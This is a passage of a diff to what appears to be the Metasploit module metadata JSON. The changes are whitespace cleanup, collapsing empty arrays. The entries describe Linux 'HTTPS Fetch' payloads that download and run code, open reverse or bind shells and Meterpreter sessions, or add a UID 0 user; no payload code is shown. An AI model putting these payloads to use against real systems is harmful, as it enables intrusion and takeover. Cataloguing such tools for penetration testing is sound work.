}, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206215,9 +183076,7 @@ "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206228,9 +183087,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206244,8 +183101,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206256,9 +183112,7 @@ "payload_cmd/linux/https/x64/pingback_bind_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206267,9 +183121,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206283,8 +183135,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206295,9 +183146,7 @@ "payload_cmd/linux/https/x64/pingback_reverse_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206306,9 +183155,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206322,8 +183169,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206334,9 +183180,7 @@ "payload_cmd/linux/https/x64/shell/bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206345,9 +183189,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206361,8 +183203,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206375,9 +183216,7 @@ "payload_cmd/linux/https/x64/shell/reverse_sctp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206387,9 +183226,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206403,8 +183240,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206417,9 +183253,7 @@ "payload_cmd/linux/https/x64/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206429,9 +183263,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206445,8 +183277,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206459,9 +183290,7 @@ "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206470,9 +183299,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206486,8 +183313,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206498,9 +183324,7 @@ "payload_cmd/linux/https/x64/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206509,9 +183333,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206525,8 +183347,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206537,9 +183358,7 @@ "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206564,8 +183383,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206576,9 +183394,7 @@ "payload_cmd/linux/https/x64/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/https/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206587,9 +183403,7 @@ "mak" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206603,8 +183417,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206615,9 +183428,7 @@ "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206626,9 +183437,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206642,8 +183451,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206654,9 +183462,7 @@ "payload_cmd/linux/https/x64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206665,9 +183471,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206681,8 +183485,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206693,9 +183496,7 @@ "payload_cmd/linux/https/x86/adduser": { "name": "HTTPS Fetch, Linux Add User", "fullname": "payload/cmd/linux/https/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206707,9 +183508,7 @@ "spoonm " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206723,8 +183522,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206735,9 +183533,7 @@ "payload_cmd/linux/https/x86/chmod": { "name": "HTTPS Fetch, Linux Chmod", "fullname": "payload/cmd/linux/https/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206747,9 +183543,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nRuns chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206763,8 +183557,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206775,9 +183568,7 @@ "payload_cmd/linux/https/x86/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206805,8 +183596,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206817,9 +183607,7 @@ "payload_cmd/linux/https/x86/generic/debug_trap": { "name": "HTTPS Fetch, Generic x86 Debug Trap", "fullname": "payload/cmd/linux/https/x86/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206829,9 +183617,7 @@ "robert " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -206845,8 +183631,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206857,9 +183642,7 @@ "payload_cmd/linux/https/x86/generic/tight_loop": { "name": "HTTPS Fetch, Generic x86 Tight Loop", "fullname": "payload/cmd/linux/https/x86/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206869,9 +183652,7 @@ "jduck " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -206885,8 +183666,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206897,9 +183677,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp": { "name": "HTTPS Fetch, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206911,9 +183689,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206927,8 +183703,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206941,9 +183716,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206956,9 +183729,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206972,8 +183743,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206986,9 +183756,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_nonx_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206999,9 +183767,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207015,8 +183781,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207029,9 +183794,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207043,9 +183806,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207059,8 +183820,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207073,9 +183833,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207088,9 +183846,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207104,8 +183860,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207118,9 +183873,7 @@ "payload_cmd/linux/https/x86/meterpreter/find_tag": { "name": "HTTPS Fetch, Find Tag Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207131,9 +183884,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207147,8 +183898,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207161,9 +183911,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207174,9 +183922,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207190,8 +183936,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207204,9 +183949,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_nonx_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207217,9 +183960,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207233,8 +183974,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207247,9 +183987,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207262,9 +184000,7 @@ "tkmru" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207278,8 +184014,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207292,9 +184027,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207307,9 +184040,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207323,8 +184054,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207337,9 +184067,7 @@ "payload_cmd/linux/https/x86/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207351,9 +184079,7 @@ "timwr" ], "description": "Fetch and execute an x86 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207367,8 +184093,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207379,9 +184104,7 @@ "payload_cmd/linux/https/x86/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207393,9 +184116,7 @@ "timwr" ], "description": "Fetch and execute an x86 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207409,8 +184130,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207421,9 +184141,7 @@ "payload_cmd/linux/https/x86/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207435,9 +184153,7 @@ "timwr" ], "description": "Fetch and execute an x86 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207451,8 +184167,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207463,9 +184178,7 @@ "payload_cmd/linux/https/x86/metsvc_bind_tcp": { "name": "HTTPS Fetch, Linux Meterpreter Service, Bind TCP", "fullname": "payload/cmd/linux/https/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207475,9 +184188,7 @@ "hdm " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207491,8 +184202,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207503,9 +184213,7 @@ "payload_cmd/linux/https/x86/metsvc_reverse_tcp": { "name": "HTTPS Fetch, Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207515,9 +184223,7 @@ "hdm " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207531,8 +184237,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207543,9 +184248,7 @@ "payload_cmd/linux/https/x86/read_file": { "name": "HTTPS Fetch, Linux Read File", "fullname": "payload/cmd/linux/https/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207555,9 +184258,7 @@ "hal" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207571,8 +184272,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207583,9 +184283,7 @@ "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207597,9 +184295,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207613,8 +184309,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207627,9 +184322,7 @@ "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207642,9 +184335,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207658,8 +184349,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207672,9 +184362,7 @@ "payload_cmd/linux/https/x86/shell/bind_nonx_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207684,9 +184372,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207700,8 +184386,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207714,9 +184399,7 @@ "payload_cmd/linux/https/x86/shell/bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207727,9 +184410,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207743,8 +184424,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207757,9 +184437,7 @@ "payload_cmd/linux/https/x86/shell/bind_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207771,9 +184449,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207787,8 +184463,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207801,9 +184476,7 @@ "payload_cmd/linux/https/x86/shell/find_tag": { "name": "HTTPS Fetch, Linux Command Shell, Find Tag Stager", "fullname": "payload/cmd/linux/https/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207813,9 +184486,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207829,8 +184500,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207843,9 +184513,7 @@ "payload_cmd/linux/https/x86/shell/reverse_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/https/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207856,9 +184524,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207872,8 +184538,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207886,9 +184551,7 @@ "payload_cmd/linux/https/x86/shell/reverse_nonx_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207898,9 +184561,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207914,8 +184575,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207928,9 +184588,7 @@ "payload_cmd/linux/https/x86/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207942,9 +184600,7 @@ "tkmru" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207958,8 +184614,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207972,9 +184627,7 @@ "payload_cmd/linux/https/x86/shell/reverse_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207986,9 +184639,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208002,8 +184653,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, 